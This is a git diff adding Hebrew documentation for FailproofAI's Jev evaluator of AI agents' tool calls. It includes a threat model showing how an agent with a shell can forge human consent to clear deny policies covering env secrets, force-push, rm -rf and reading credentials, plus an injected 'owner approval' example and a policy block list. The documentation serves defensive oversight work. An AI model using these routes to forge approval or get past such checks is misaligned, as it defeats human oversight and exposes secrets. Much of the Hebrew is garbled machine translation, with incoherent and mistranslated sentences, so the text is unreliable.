+ אם הארגון שלך מפעיל FailproofAI Cloud משלו במקום זה המתארח, הוסף את הכתובת שלו: `--url https://` (או ייצא `FAILPROOFAI_CLOUD_URL`). ללא זה המפתח מתבדק כנגד השירות המתארח וההתחברות נכשלת. אם הסרטיפיקט של אותו מארח מגיע מ־CA פרטי, התקן את ה־CA בחנות אמון המערכת של המכונה (לדוגמה עם `update-ca-certificates`), לא רק ב־`NODE_EXTRA_CA_CERTS`: ה־daemon ששולח אירועים ומושך מדיניות קורא את חנות המערכת. ראה [פתרון בעיות](/he/reference/troubleshooting).
+
+זה הכל. התחברות שומרת את המפתח ו, כאשר למכונה **אין** תצורת Jev עדיין, הופכת את Jev ל־on דרך FailproofAI Cloud במצב **observe**: ברגע שחבילה נותנת לה בדיקות, ל־Jev שואלים על כל קריאת כלי בשער והגזרות שלה מתועדות, אך תוצאת המדיניות שלך היא מה שנאכף. הפלט אומר כך:
+
+```text
+ Jev on through FailproofAI Cloud, in observe mode: logged, not enforced (~/.failproofai/jev.json).
+```
+
+Jev עדיין לא שואל כלום עד שחבילה נותנת לה בדיקות. Failproof AI לא משלחת כלום; בזמן שלא חבילה מותקנת מצהירה על כלום, הפלט מוסיף שורה בנושא, ו־`failproofai jev status` חוזר עליה. התקן אותם עם:
+
+```bash
+failproofai policies add FailproofAI/jev-policies
+```
+
+**עם `--no-transcripts`, התחברות לא הופכת את Jev ל־on.** Jev שולח כל קריאת כלי בדוקה ותיבת היומן הקרובה ל־FailproofAI Cloud, שזה יותר מחיבור החלטות־בלבד שנשאל לשלוח. המפתח עדיין מאוחסן, והפלט אומר ש־Jev זמין וכיצד להחליף אותו ל־on:
+
+```bash
+failproofai jev setup --provider failproofai
+```
+
+זה גם לא הופך את Jev **off**. אם `jev.json` של המכונה כבר מפעיל Jev דרך FailproofAI Cloud, הוא נשאר כפי שהוא, והפלט אומר ש־Jev עדיין שולח כל קריאת כלי בדוקה ותיבת יומן קרובה, וש־`failproofai jev setup --mode off` מכבה אותו.
+
+
+התחברות **לעולם לא משכתבת** `jev.json` קיים ב־`~/.failproofai/`. אם אתה כבר משתמש בנקודת הקצה של Jev שלך, היא המשיכה להיות בשימוש, והפלט אומר שהקובץ הושאר כתצורה — ו, כאשר אותו קובץ משאיר את Jev off (סירב, או מופסק), אומר כך וכיצד לתקן זאת. כדי להחליף את המכונה הזו ל־FailproofAI Cloud, הפעל `failproofai jev setup --provider failproofai`.
+
+
+## Observe, enforce או off
+
+התחל ב־observe, צפה מה Jev היה עשה בדף המדיניות, ואז תן לו לפעול:
+
+```bash
+failproofai jev setup --mode enforce # Jev's verdicts apply: it may clear a reviewable deny and add its own
+failproofai jev setup --mode observe # Jev is asked and logged; your policies' result is enforced
+failproofai jev setup --mode off # keep the config, stop asking Jev
+```
+
+אותו מתג נמצא בלוח הבקרה המקומי: **Settings → Jev** יש לו מתג on/off ו־observe/enforce. זה משכתב את המצב ותו לא. Hooks קוראים את התצורה בכל קריאת כלי, כך ששינוי חל מהבאה, ללא הפעלה מחדש.
+
+## בדוק מה זה עושה
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+`status` מציג את הספק כ־**FailproofAI Cloud**, את מארח Cloud שאליו התחברה המכונה, את המצב, ומקור המפתח כ־**FailproofAI Cloud connection**, לעולם לא את המפתח. כאשר `jev.json` של FailproofAI Cloud נמצא בהתקום אך Jev לא יכול להפעיל, זה אומר למה:
+
+| `status` אומר | `status --json` | משמעות |
+| --- | --- | --- |
+| **off — no Jev key is stored for this machine's FailproofAI Cloud connection** | `key-lacks-jev` | המכונה מחוברת, אך אין מפתח Jev מאוחסן עבורה: המפתח חסר `jev:evaluate`, או ההתחברות לא יכלה לאשר זאת. הפעל `failproofai config` שוב עם המפתח ב־`FAILPROOFAI_CLOUD_TOKEN`; אם חסר לו ההרשאה, השתמש במפתח **machine**. |
+| **off — this machine is not connected to FailproofAI Cloud** | `not-connected` | אין התחברות FailproofAI Cloud על מכונה זו למפתח Jev השייך אליה. |
+
+אחרי `failproofai config --disconnect` אין עוד `jev.json` של FailproofAI Cloud (אלא אם זה הופסק, אשר מתוחזק), כך ש־`status` פשוט מדווח על Jev כ־off. `status --json` נושא את אותם עובדות (`provider: "failproofai"`, `keySource: "cloud"`, `cloudConnected`, `keyCarriesJev`), גם כאשר התצורה נעדרת או סורבה. `permissions` הוא תמיד של `jev.json`; סירוב אודות `credentials.json` מוסיף `credentialsPermissions`, ו־`fix` כאשר פקודה אחת תוקנה את זה. `test` שולח בקשה חיה אחת ודיווח על קביעות ודור Jev שענה. הוא יוצא 1, ואומר כך בכותרת שלו, כאשר התשובה מגיעה אחרי timeout hook (hooks היו רושמים `timeout`) או משיבים לשאלת הבדיקה שלו בצורה שגויה.
+
+לוח הבקרה **Settings → Jev** מראה גם את **FailproofAI Cloud connection**: איזה ארגון המכונה דוברת אליו והאם המפתח שלה נושא Jev. זה נקרא מהקבצים שלה, ללא קריאת רשת.
+
+## אמת קריאה אמיתית
+
+התחל הפגישה חדשה בסוכן בו יש hooks. בקש ממנו להשתמש בכלי קריאת הקבצים שלו ב־`README.md` ודוח על הכותרת. אשר שההפגישה מכילה את קריאת הכלים הזו, ואז הפעל `failproofai jev status` שוב: ספירת הקריאות המוערכות האחרונות שלו צריכה להיות בעלייה. פתח **Policies → Activity** ב[לוח הבקרה המקומי](/he/reference/local-dashboard#review-policy-activity) כדי לבדוק את גזר הדין של Jev של אותה קריאה ומצב. בענן, דף **Policies** של הארגון מראה תוצאות Jev לפעילות שסופקה. במצב observe, הגזר הדין מתועד כ־**would-have** ותוצאת המדיניות עדיין מחליטה את הקריאה. פינוי מופיע רק כאשר מדיניות שניתן לבדיקה תאמה ו־Jev פינה את הבדיקות בעלות שם שלה.
+
+## מה מגיע לדף המדיניות
+
+המכונה כבר שולחת את פעילות ה־hook שלה ל־FailproofAI Cloud (`events:add`). עם Jev on, רשימת כל קריאה בשער גם אומרת איזה מעריך רץ, מה Jev החליט, אילו מדיניות הוא פינה, למה הוא חזר כשהוא עשה, קביעות ודור שענה — החלטות, קודים ושמות, לעולם לא את הפקודה או התיבת היומן שלך. בדף **Policies** של הארגון שלך:
+
+- קריאה שגזר הדין שלה של Jev עצמו החליט (מצב enforce) מיוחסת ל־**Jev**, וכאשר הבדיקה המחליטה הגיעה מחבילה, הרשימה גם מציינת את החבילה וגרסה שלה;
+- במצב observe, deny או אזהרה של Jev מופיעה כ־**would-have**, ליד הגלגול שאתה צופה;
+- המדיניות שJev פינה, או היה פינה במצב observe, נספרות לכל מדיניות.
+
+## כאשר Jev לא יכול לענות
+
+כל אחת מהן חוזרת לתוצאת המדיניות שלך לאותה קריאה, ומתועדת עם סיבתה:
+
+| סיבה | גורם |
+| --- | --- |
+| `out-of-credits` | הארגון שלך השתמש בהקצאת התוכנית שלו. |
+| `http-401`, `http-403` | המפתח בוטל, או לא נושא `jev:evaluate`. התחבר מחדש עם מפתח שעושה. |
+| `http-429` | FailproofAI Cloud מגביל קצב עבור Jev עבור הארגון שלך. עד שהמתנה שהוא שואל אותה עוברת (שלו `Retry-After`, לכל היותר 60 שניות), המכונה לא שולחת לו כלום וכל קריאה חוזרת מיד. קריאות מוחזקות בדרך זו מתועדות כ־`http-429`, או כ־`rate-limited` כאשר מגבלת הקצב שלה של המכונה מחזיקה אותן ראשונה. |
+| `http-429` (יומי limit) | הארגון שלך השתמש בקריאות Jev היומיות שלו: **10,000 ליום UTC**, אלא אם מי שמפעיל את FailproofAI Cloud שלך קבע גבול אחר. כל קריאה חוזרת עד שהספירה מתאפסת ב־00:00 UTC; המכונה עדיין שואלת שוב לכל היותר פעם בדקה, כך שהיא אוספת את האיפוס בתוך דקה. `failproofai jev test` אומר "Daily Jev limit for this org reached; resets at 00:00 UTC." |
+| `http-422` | Jev סירבה לבקשה של קריאה זו, בדרך כלל משום שקריאת הכלים החזיקה טקסט צפוף (base64, hex, קוד מקוצר) על גבול אסימון של Jev. אותה קריאה חוזרת בכל פעם; זה לא תקלה. |
+| `http-502` | Jev אינו זמין כרגע. |
+| `http-503` | ענן זה לא יכול לשרת Jev עבור הארגון שלך: אין שער דגם, ארגון שטרם הוקם, או השער למטה. שאל את מנהל המערכת שלך; hooks שואלים שוב לכל היותר פעם בדקה. |
+| `http-404` | FailproofAI Cloud זה לא משרת Jev עדיין. |
+| `timeout` | אין תשובה בתוך `timeoutMs` (ברירת מחדל 3000). |
+| `model-mismatch` | גרסת Jev אחרת ממלא 1.13 ענתה. |
+
+## איפה המפתח חי, והוא הולך לאן
+
+- המפתח מאוחסן פעם אחת, ב־`~/.failproofai/credentials.json` (`0600`, בספרייה בבעלות בלבד), לצד ה־credentials FailproofAI Cloud האחרים. `jev.json` לא מחזיק מפתח לנתיב זה; אחד שנכתב שם הופך את התצורה לבלתי חוקית.
+- אם `credentials.json` נושא **כלשהו** הרשאה לכל אחד מלבדך (group או אחר, קריאה או כתיבה), או הספרייה שלו יכולה להיות **כתובה** על ידי כל אחד מלבדך, היא **סורבה**, לא נקראת, ו־Jev off עד שאתה מתקן את זה: `chmod 600` בקובץ, `chmod 700` בספרייה (או התחבר מחדש, אשר משכתב את הקובץ ב־`0600` ועושה את הספרייה בבעלות בלבד). ספרייה שאחרים יכולים רק לקרוא בסדר; זה שהם יכולים לכתוב משאיר להם להחליף את הקובץ.
+- המפתח מספיק רק בזמן שהחיבור שממנו הוא בא נמצא בעל המכונה: a כללי או דיווח credential עבור אותו FailproofAI Cloud **עם אותו מפתח**, באותו קובץ. מפתח Jev נשאר מאחור ללא אחד מהם זוהה, ו־Jev נשאר off. זה קורה כאשר failproofai קדום של `config --disconnect` משאיר את מפתח Jev במקומו (זה לא יודע להסיר אותו), או כאשר failproofai קדום של `config --token` מתחבר עם מפתח אחר, אשר ב־FailproofAI Cloud עשוי להיות שייך לארגון אחר. כדי להחליף את Jev בחזרה ל־on, התחבר שוב עם מפתח **machine**.
+- המפתח לעולם לא נשלח כ לא מקור Cloud שהוא אומת כנגד. `jev.json` המצביע לכל מקום אחר סורב.
+- **סוכן על המכונה יכול לקרוא את זה.** `credentials.json` הוא בבעלות בלבד, והסוכן רץ כבעלים. קריאת הקבצים שלה של failproofai עצמה מותרה במטרה (רק שינויים חסומים, על ידי `block-failproofai-commands`), כך שהדבר היחיד בין סוכן לקובץ זה הוא `block-read-outside-cwd` — מדיניות *שניתן לבדיקה* — ומהפגישה החלה בספרייה הבית שלך, כלום. מפתח עם `jev:evaluate` מוציא את הקצבת Jev של הארגון שלך (עד ל־cap היומי) מכל מקום בו הוא משמש, כך לחמול במפתח מכונה כמו כל credential הוצאה אחרת: אם סוכן יכול היה קרוא את זה, בטל אותו בדף Keys ותחבר מחדש עם חדש.
+- רק הקבצים הגלובליים שלך מחליטים את זה. מאגר לא יכול להפוך ענן Jev on, להצביע אליו במקום אחר או לספק את מפתחו, ו־`FAILPROOFAI_JEV_API_KEY` מתעלם נתיב זה.
+- עבור כל קריאה Jev מעריך, בקשה אחת הולכת ל־FailproofAI Cloud, נושאת את מה שדף [bring-your-own-key](/he/reference/jev-providers#what-leaves-the-machine) רישומיים (סודות מחוקים). FailproofAI Cloud מעביר אותה ל־TypeSafe ולא רוג או שומר את זה.
+
+## כבה את זה
+
+| פקודה | תוצאה |
+| --- | --- |
+| `failproofai jev setup --mode off` | שמור על התצורה; Jev לא מתבקש. **זה המתג שנמשך:** התחברות שוב לעולם לא משכתב `jev.json` קיים, כך Jev נשאר off עד שאתה מחליף אותו בחזרה עם `--mode observe`. |
+| `failproofai jev remove` | מחק `~/.failproofai/jev.json`; Jev off — עד ל־`failproofai config --token` הבא עם מפתח שנושא `jev:evaluate`, אשר מוצא `jev.json` ולא והופך Jev on בחזרה במצב observe (אלא אם הוא רץ עם `--no-transcripts`). כדי שנשאר off, השתמש `--mode off`. |
+| `failproofai config --disconnect` | נתק את המכונה: המפתח הוסר, וכך גם `jev.json` כאשר הוא שם FailproofAI Cloud ואינו הופסק. `jev.json` עבור נקודת הקצה שלך נשאר, וכך גם אחד הופסק, כך Jev נשאר off כאשר אתה מתחבר שוב. |
+
+מהקריאה הבאה, hooks מפעילים את מדיניות regex בדיוק כפי שלפני.
\ No newline at end of file
diff --git a/docs/he/reference/jev-evaluations.mdx b/docs/he/reference/jev-evaluations.mdx
new file mode 100644
index 000000000..c01a13338
--- /dev/null
+++ b/docs/he/reference/jev-evaluations.mdx
@@ -0,0 +1,88 @@
+---
+title: "Jev evaluation reference"
+description: "Question types, calibrated scores, limits, and backfill for Jev session evaluations."
+icon: "list-checks"
+---
+
+עמוד זה מתאר את צורות השאלות וכללי הניקוד מאחורי [הערכות Jev](/he/evaluations/jev). חלק מהשאלות דורשות מדגם ל*קרוא* את השיחה, אך לא ל*כתוב* עליה. "האם הלקוח הביע דחיפות?" יש שתי תשובות. "כמה היו המתוסכלים?" יש כמה, בסדר. אתה יודע כל תשובה לפני שאתה שואל.
+
+**הערכת מסווג** היא בדיוק לאלה. אתה כותב את השאלה והתשובות שהיא עשויה לתת, ודגם קטן שנבנה לסיווג מחזיר מספר מכוילה — לא תמיד טקסט חופשי.
+
+
+כמו שופט, הערכת סיווג עולה קריאה דגם אחת לכל סשן. בניגוד לשופט היא דגם קטן, בעל מטרה אחת בלבד במקום כללי, ולכן היא מהירה וזולה יותר — אך היא לעולם לא תסביר את עצמה. אם אתה צריך את ההנמקה, השתמש ב[שופט](/he/evaluations/judge).
+
+
+## איזה אחד אני רוצה?
+
+| שאלה | בחר |
+| --- | --- |
+| כמה קריאות כלים היו? | code |
+| האם הסשן היה פחות מ-30 שניות? | code |
+| האם הלקוח הביע דחיפות? | **classifier** |
+| איזה צוות צריך לטפל בזה: חיוב, טכני או מכירות? | **classifier** |
+| כמה היו המתוסכלים של הלקוח? | **classifier** |
+| האם התשובה היתה בעצם נכונה? | **judge** |
+| האם זה עקב את מדיניות ההסלמה שלנו, ולמה אתה חושב שכן? | **judge** |
+
+הכלל המעשי: **ניתן לספור → code, תשובות שאתה יכול לרשום → classifier, דורש הסבר → judge.**
+
+אתה לא צריך להחליט מראש. תאר מה אתה רוצה למדוד והעוזר בוחר, אומר לך איזה הוא בחר ולמה, ואתה יכול להחליף.
+
+## שני סוגי השאלות
+
+### `noul` — האם זה נכון?
+
+שתי תשובות, ואתה מתאר את שתיהן. התוצאה היא ההסתברות שתיאור ה"אמת" מתאים:
+
+```json
+{
+ "instructions": "Did the assistant promise a refund without first checking the refund policy?",
+ "criteria": {
+ "true": "A refund was promised or issued with no prior policy check or approval",
+ "false": "No refund was promised, or every refund followed a policy check"
+ }
+}
+```
+
+תאר את שני הצדדים. "לא הבעו דחיפות" היא תשובה אמיתית והאמירה כך גורמת לזו האחרת להיות חדה יותר.
+
+### `score` — כמה מזה?
+
+קנה מידה מסודר, **הגרוע ביותר בהתחלה**. התוצאה היא איפה הסשן נוחת בו, משנה לגודל 0–1:
+
+```json
+{
+ "instructions": "How frustrated is the customer?",
+ "criteria": ["Calm", "Frustrated", "Very angry"]
+}
+```
+
+**קנה מידה לוקח שלוש עד חמש רמות, וכולם צריכים להיות שונים.** שני הגבולות נמדדים, לא סגנוניים:
+
+- **שתי רמות** קורסות למה `noul` כבר עושה טוב יותר, ו**יותר מחמש** גורמות לדגם להיות לא מודגש לעבר האמצע במקום להתחייב. אותה שאלה על פני אותו סשן קיבלה 0.00 עם שתי רמות, 0.01 עם שלוש, ו-0.55 עם עשר.
+- **רמות חוזרות** מפצלות את התשובה באופן שרירותי ביניהן. סשן שהיה בבירור כעוס קיבל 1.00 נגד `["Calm", "Frustrated", "Very angry"]` ו-0.66 נגד `["Angry", "Angry", "Angry"]` — מספר שנוצר היטב שאינו אומר שום דבר.
+
+קטגוריות ללא סדר — "חיוב, טכני או מכירות" — אינן קנה מידה. שאל אותם כ`noul` לכל קטגוריה, או השתמש בשופט.
+
+## קריאת התוצאות
+
+מסווג מייצר **ניקוד** מ-0 עד 1, בדיוק כמו שופט, כך שהוא משרטט, מסנן וטריגרים התראות באותו אופן. שתי הבדלויות ראויות לדעת:
+
+- **אין הנמקה.** השדה ריק, בכוונת תכנון. דגם זה לא מסביר את עצמו, והמצאת הסבר תהיה זיוף ולא תכונה.
+- **אי-ודאות מסומנת.** שאלת `score` מדווחת את ביטחונה שלה, ותוצאה שהדגם היה לא בטוח לגביה מתויגת `low_confidence` — כך ש"איזה מהם אדם צריך להסתכל על" הוא מסנן ולא ניחוש. שאלת `noul` לא מדווחת ביטחון, כך שהיא לעולם לא מתויגת.
+
+סשנים ארוכים מאוד נקראים בקטעים ומשולבים. כאשר סשן ארוך מדי כדי לקרוא במלואו, התוצאה אומרת כמה תורים הושמטו — לעולם לא תראה שיפוט שנעשה על חלק מסשן מוצג כאחד שנעשה על כולו.
+
+## מגבלות
+
+- **שלוש עד חמש רמות קנה מידה, כולם ברורים.** ראה למעלה; שני הגבולות נאכפים בזמן יצירה.
+- **שאלה אחת לכל הערכה.** שאל שני דברים ותקבל שתי הערכות, שזה גם מה שאתה רוצה בתרשים.
+- **עריכת השאלה משפרת גרסה חדשה.** ניקודים ישנים וחדשים אינם ניתנים להשוואה, כך שהם נשמרים בנפרד במקום להשתלב לשורת מגמה אחת.
+- **מסווג תמיד מייצר ניקוד**, לא מטרי או קביעה.
+- **אין הנמקה**, כמו למעלה. אם מספר יגרום לישראל לשאול "למה?", כתוב שופט במקום זאת.
+
+## בדיקה והחזרה
+
+בניגוד לשופט, הערכת סיווג **יכולה** להיות בדוקה לפני שאתה משפרת אותה — [בדוק אותה](/he/evaluations/test) נגד סשנים אמיתיים באותו אופן שהיית עושה הערכת code, וקרא את הניקודים לפני שכל דבר עובר לחי.
+
+זה גם יכול להיות [מלא](/he/evaluations/deploy#score-sessions-you-already-have) בחזרה על סשנים שיש לך כבר. זה עולה קריאה דגם אחת לכל סשן, כך שתחום את החלון בכוונת תכנון במקום לחזור על הכל.
\ No newline at end of file
diff --git a/docs/he/reference/jev-intent.mdx b/docs/he/reference/jev-intent.mdx
new file mode 100644
index 000000000..1e6581cc0
--- /dev/null
+++ b/docs/he/reference/jev-intent.mdx
@@ -0,0 +1,112 @@
+---
+title: "Jev intent capture"
+description: "אילו אירועי harness מספרים ל-Jev evaluator מה בני האדם ביקשו, באיזה שדה נמצא הטקסט, מה לא נספר לעולם, והסיכון שמגיע מהסתמכות על prompt שנמסר דרך harness."
+icon: "message-square-quote"
+---
+
+כשאתה מוגדר [Jev policy review](/he/policies/jev), המעריך שופט כל קריאת כלי שערוכה כנגד **מה בני האדם ביקשו**, לא כנגד כל טקסט שה-harness הציב מול הסוכן. תשובה כמו "כן, force-push את זה" יכולה לעבור מדיניות **reviewable** — וזה בדיוק הנקודה של המעריך, כי regex שלא יכול לקרוא את הבקשה חוסם שליש מהעבודה האמיתית.
+
+הטקסט הזה מגיע ממקום אחד בלבד: **ה-prompt שה-harness עצמו מסר להוק בארוע prompt-submit שלו**. Failproof AI רושם את החלק שבני אדם הקלידו — התיוג של ה-harness הוסר, סודות מחוקים, מוגבל — לקובץ `0600` בתיקיית המצב שלו. שום דבר על הדיסק לא נשאל: תמלול ההפגשה הוא קובץ שהסוכן יכול לכתוב מחדש בפקודה אחת, כך שלעולם לא נשאלים מי כתב prompt.
+
+## הסיכון שזה מקבל, בבהירות
+
+סוכן שכבר יכול להריץ פקודות יכול לגרום ל-harness להגיש prompt. `claude -p "…"`, `codex exec`, `copilot -p`, `cursor-agent -p`, `devin -p`, `droid -p`, `goose run -t` ו-`pi -p` כולם מפעילים את אותו ארוע prompt-submit, באותו payload, כמו אדם שמקליד, בהפגשה בת זקיפה שהסוכן שולט בה. הוא יכול גם להריץ את קובץ הבינארי של ה-hook שלו Failproof AI ולהאכיל לו payload שהוא כתב. שום דבר בתוך Failproof AI לא יכול להבחין בין שניהם — שניהם אותה תוכנית קוראת את אותו stdin.
+
+**אז סוכן עם shell יכול לזייף את ההסכמה שלו.** זה עסקה מכוונת, שנלקחה ב-2026-09-23, וזה שתי הצדדים של זה:
+
+- **מה זה קונה.** האלטרנטיבה נבנתה ונמדדה: דרישה שדה שבו ה-harness שומה בן אדם כמחברת הפרומפט, ורישום של שום דבר אחרת. שום harness משלוח לא שולח שדה כזה, כך שהגרסה הזו רשמה **שום דבר, על כל harness** — Jev שפט כל קריאה ללא כוונה מוצהרת ולא יכול היה לעבור מדיניות אחת. קבצי intent שלא פעם לעולם אינם מוצר בטוח יותר, הם אין מוצר.
+- **מה זה לא יכול לעשות.** prompt רשום יכול רק לעבור מדיניות שכבר מסומנת **reviewable**. מדיניות **hard** לעולם לא עוברת בעצב מה Jev אומר, אז prompt מזויף לא יכול לעולם הפוך hard deny לאישור — וביטול ה-hook לא גם מעניק לסוכן משהו: ה-harness מפעיל Failproof AI לקריאת הכלי בנפרד.
+- **מה זה יכול לעשות, בגודל מלא.** הגרוע שהוא יכול לעשות הוא לעבור אחת מחמש עשרה המדיניות reviewable המובנות — ו**שנים עשר מאלה חמש עשרה חוסמים**. `protect-env-vars`, `block-env-files`, `block-read-outside-cwd`, `block-rm-rf`, `block-force-push`, `block-secrets-write` והשישה חוסמי CLI התשתית (`block-kubectl`, `block-terraform`, `block-aws-cli`, `block-gcloud`, `block-az-cli`, `block-helm`) הם denies, כך שהסכמה מזויפת יכולה הפוך deny אמיתי לאישור על הדפסת סודות env, קריאת קובץ `.env`, קריאה מחוץ לפרויקט, `rm -rf`, force-push, כתיבת קובץ סודות, או שינוי תשתית חיה. רק `warn-git-amend`, `warn-destructive-sql` ו-`warn-global-package-install` הם nudges. התקנה ברירת מחדל מפעילה שניים משנים עשר, `protect-env-vars` ו-`block-env-files`; עשרת האחרים מגיעים רק למכונה שבה מישהו הפעיל אותם. מה שום prompt לא מגיע אליו הוא הכל hard — `block-sudo`, `block-curl-pipe-sh`, `block-push-master`, `block-work-on-main`, השמירה שעוצרת סוכן מבטל את Failproof AI, וכל משנה מובנית אחרת לא מסומנת reviewable. [Policy authority](/he/policies/authority) מפרטת את כל חמש עשרה ומה כל אחד נבחן על ידי.
+
+מה שעדיין מסורב הוא הכל שזה זול בדיקה וסוכן לא יכול לקבל רק בעצם שואל: תור שה-payload שלו harness עצמו סימן כמוגש-על-ידי-מכונה, payload שומה תת-סוכן, מזהה הפגשה שאינו שם פשוט, ארוע שאינו אחד prompt-submit, וטקסט שהוא שום דבר אבל תיוג harness — כולל את המילים שער-עצירה שלו Failproof AI, שמספר harnesses מחזיר כתור המשתמש הבא.
+
+## טבלה לכל harness
+
+"Text field" הוא shdin payload שדה אחרי הנרמול לכל harness של Failproof AI. "Recorded" אומר אם prompt נשמר כבקשת האדם.
+
+| Harness | `--cli` | Prompt event → canonical | Text field | Recorded | Agent's last message read from |
+| --- | --- | --- | --- | --- | --- |
+| Claude Code | `claude` | `UserPromptSubmit` | `prompt` | כן, אלא אם `source` של payload שם תור אחד אף אחד לא הגיש (`loop_wakeup`, `schedule_wakeup`, `poll_event`, `system`). `user`, `sdk`, ערך לא ידוע וגרסה שלא שולח `source` לגמרי כולם רשומים | תמלול הפגשה (`transcript_path`) |
+| Codex | `codex` | `user_prompt_submit` → `UserPromptSubmit` | `prompt` | כן | ה-rollout JSONL (`agent_message`, `AgentMessage`) |
+| GitHub Copilot CLI | `copilot` | `UserPromptSubmit` | `prompt` | כן | `events.jsonl` (`assistant.message`) |
+| Cursor | `cursor` | `beforeSubmitPrompt` → `UserPromptSubmit` | `prompt` | כן, עם התיוג `` הוסר כאשר זה כל prompt | ה-agent transcript JSONL |
+| OpenCode | `opencode` | `message.updated` (user role) → `UserPromptSubmit` | `prompt` | כן — אבל ה-OpenCode הנוכחי אינו נושא טקסט באותו ארוע, כך שבפרקטיקה שום דבר לא נרשם; חזרה של אותו הודעה נרשמת פעם אחת | none (sessions are SQLite) |
+| Pi | `pi` | `input` → `UserPromptSubmit` | `prompt` | כן, אלא אם `input_source` הוא `extension` — שיוך `sendUserMessage()` של הרחבה אחרת, שהטקסט שלה יכול להיות כתוב-על-ידי-דגם או מקור-מחסן | ה-Pi session JSONL |
+| Hermes | `hermes` | none | — | לא — Hermes אין ארוע prompt-submit כלל | — |
+| OpenClaw | `openclaw` | `before_agent_run` → `UserPromptSubmit` | `prompt` | כן, אלא אם metadata הריצה סימן את הריצה כשל מכונה: `trigger` אחר מ-`user`, `inputProvenance.kind` אחר מ-`external_user`, או `senderIsOwner: false` | none (`before_agent_run` אינו נושא transcript path) |
+| Factory Droid | `factory` | `UserPromptSubmit` | `prompt` | כן | ה-droid session JSONL |
+| Devin CLI | `devin` | `UserPromptSubmit` | `prompt` | כן | none (sessions are SQLite) |
+| Antigravity CLI | `antigravity` | `PreInvocation` → `UserPromptSubmit` | none | לא — `PreInvocation` נורה לפני *כל* קריאת דגם בתור והוא אינו נושא טקסט prompt | — |
+| Goose | `goose` | `UserPromptSubmit` | `message` | כן | none (sessions are SQLite) |
+
+שני harnesses לא רושמים שום דבר, ובאותה סיבה בשתי המקרים: הארוע שלהם לא מספק טקסט אנושי. Hermes אין ארוע prompt-submit — התוסף נחמד שלו עוסק ב-`pre_llm_call` עצמו ומעביר רק כלי, הפגשה וארועי subagent. ה-`PreInvocation` של Antigravity נורה לפני כל קריאת דגם, בתור אנושי ובחמישת אלה שאחרי זה, ואינו נושא שדה prompt; hooked יכולים גם להזריק שלבי `userMessage` לאותו שיחה. אין שום דבר בשום ארוע לרשום.
+
+## מה עושה prompt זה של האדם
+
+1. **הארוע.** Failproof AI הופעל לארוע prompt-submit של ה-harness, שהמטפל מנרמל ל-`UserPromptSubmit`.
+2. **ה-payload.** ה-harness כותב זה על stdin של ההוק, והוא נושא את הטקסט בשדה שנקרא למעלה. קריאה המגיעה ל-Failproof AI ללא ה-payload לא רושמת שום דבר.
+3. **שום דבר בתוך payload לא דוחה את התור.** payload שומה תת-סוכן (`agent_id`) הוא הסוכן הקלטת עצמי. `source`, `input_source` או OpenClaw run marker שומה תור מוגש-על-ידי-מכונה מסורב. ממוגבל marker לא דוחה שום דבר — זה ההבדל מהגרסה שלא רשמה שום דבר, כי כל marker כאן היא היעדרות בכל גרסה משלוח.
+4. **משהו נשאר אחרי התיוג מוסר** (ראה למטה).
+
+**תמלול הפגשה אינו ראיה של מי כתב prompt.** גרסאות קודמות של עמוד זה תיארו בדיקה cross-check בתמלול: prompt סורב אם התמלול הראה את הדגם תזמור זה, והתמלול היה להמשיך את אחד הפרומפט הקודם ראה. הבדיקה הזאת נעלמה. תמלול הוא קובץ שהסוכן כבר יש shell עליו — זה יכול להיות קטוע, החלפת, מרופד עבור הקרא תקציב, תמונה בתחילת תור והחזור בסוף, או בחרת לקרוא טוב שוב עם כניסות הסוכן כתוב. כל סבב של התקשות היה לאחריו כתיב אחר של אותה ספיקה, כך כל המנגנון היה הוסר ולא תיקנו.
+
+התמלול עדיין קרא לדבר אחד: **ההודעה האחרונה הנראית של הסוכן**. הודעה זו כתובה על ידי סוכן בהגדרה, Jev אומר כך, והיא לעולם לא הסכמה שלו.
+
+## מה נשמר מ-prompt
+
+Harnesses שים יותר מהמילים של האדם לתוך prompt. לפני שום דבר מאוחסן:
+
+- בלוקים `` מוסרים, המילים של האדם סביבם נשמרו.
+- סיכום המשך הפגשה (This session is being continued from a previous conversation…) מוצא לגמרי.
+- הודעות משימה, פלט פקודה מקומית וסימני הפרעה מוצאו לגמרי.
+- תור שסוכן או הפגשה אחרת כתבה מוצא לגמרי: Claude Code מעטפת אלה ב-``, ``, ``, `` או ``.
+- הודעות שלו Failproof AI מוצאו לגמרי. שער עצירה של `MANDATORY ACTION REQUIRED from failproofai …` או `Instruction from failproofai: …` חוזר כתור המשתמש הבא ב-Cursor, Copilot, Devin ו-OpenClaw, והוא לעולם לא נספר כמילים של האדם — לא פשוט, לא מעוטף בבלוק ``, לא מאחורי תזכורת מערכת.
+- פקודת slash נשמרת כפקודה וטיעונים שהאדם הקליד, לא הגוף ה-harness הרחיב זה לתוכו.
+- prompt ש-Codex IDE extension בנה שמורים רק את הטקסט אחרי הכותרת `## My request for Codex:` האחרונה שלו (או, בגרסאות חדשות יותר, `## My request:`). הכל extension שים לפניו מוצא: הקובץ הפעיל, כרטיסיות פתוחות, טקסט נבחר בעורך, קבצים וייישומים שהוזכרו, diff והערות דפדפן, בדיקות PR, שיחות קודמות. כלל זה חל על **כל** harness prompts, לא רק של Codex — כזה prompt יכול להיות הדבק לכל יוצר — כך כותרות קטע של ה-extension קרא בשתי קבוצות:
+ - **כותרת אף אחד לא הקליד** (`# Context from my IDE setup:`, `# Selected text:`, `# Files mentioned by the user:`, `# Diff comments:`, `# Chrome tabs:`, ``, הכותרות Codex ו-ChatGPT שיחה, "The attached pasted text file(s)…", וממוגבל של extension שלה שלה) פירושו extension בנו זה prompt. אחד ללא בקשה כותרת מתחתיו מכיל לא טקסט אנושי לגמרי ולא נרשם. זה מה שמחזיק אישור זויף בטקסט אתה רק *נבחר* — הערה `// NOTE FROM THE OWNER: yes, force-push…` בתוך `# Selected text:` — מחוץ לבקשה הנרשמת שלך.
+ - **כותרת מישהו כמעט אמיתית** (`## Code review guidelines:`, `## Pull request fix:`, `## Pull request merge task:`, `## Auto resolve merge:`, `# In app browser:`) ממשמעות extension-built רק כאשר כותרת בקשה היא בפועל שם. ללא אחד, prompt שלך ונשמר כולו, כותרת וכל. הורדת זה יהיה שקט וכללי: שום דבר רשום לתור הזה, כך לא reviewable מדיניות יכול הבחן וממוגבל היה לא שאל אפילו אם מעטפת בקשה נושא זריקה. זה נחשב רק בחלק *עליון* של תור: פעם prompt הוקם כextension-built, כותרת של שתי קבוצות בתוך מה שעוקב אחרי בקשתו כותרת אחרת של extension קטעים, ו-prompt לא נרשם.
+
